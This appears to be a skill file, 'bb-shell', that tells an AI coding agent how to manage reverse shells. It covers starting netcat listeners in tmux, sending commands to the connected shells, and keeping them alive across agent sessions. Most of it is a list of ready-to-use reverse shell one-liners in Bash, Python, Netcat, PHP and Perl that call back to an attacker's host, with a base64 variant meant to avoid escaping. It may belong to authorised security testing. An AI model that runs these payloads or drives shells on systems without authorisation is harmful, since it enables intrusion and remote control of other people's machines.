bb-shell

Reverse Shell Manager

Overview

Manage reverse shell connections using tmux for session persistence. This allows you to:

• Start netcat listeners in background tmux sessions
• Receive and manage multiple shell connections
• Send commands to active shells
• Persist shells across Claude sessions

Actions

Start Listener

Start a new tmux listener session:

# Create listener on specified port (default: 4444)
tmux new-session -d -s shell_<PORT> "nc -lvnp <PORT>"

# Verify listener is running
tmux ls | grep shell_
ss -tlnp | grep <PORT>

List Sessions

View all active shell sessions:

tmux ls | grep -E "shell_|listener"

Attach to Shell

Interact with an active shell:

# View current output (non-blocking)
tmux capture-pane -t shell_<PORT> -p | tail -50

# Send command to shell
tmux send-keys -t shell_<PORT> "<COMMAND>" Enter

# Wait and capture output
sleep 2 && tmux capture-pane -t shell_<PORT> -p | tail -30

Kill Session

Terminate a shell session:

tmux kill-session -t shell_<PORT>

Reverse Shell Payloads

Bash

bash -i >& /dev/tcp/<LHOST>/<PORT> 0>&1

Python

python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("<LHOST>",<PORT>));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

Python Base64 (avoids escaping issues)

# Generate base64 payload - encode your python reverse shell
# Then run on target with: python3 -c "import base64;exec(base64.b64decode('<B64>'))"

Netcat

nc <LHOST> <PORT> -e /bin/bash
# Or with mkfifo
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> <PORT> >/tmp/f

PHP

php -r '$sock=fsockopen("<LHOST>",<PORT>);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'

Perl

perl -e 'use Socket;$i="<LHOST>";$p=<PORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");system("/bin/sh -i");};'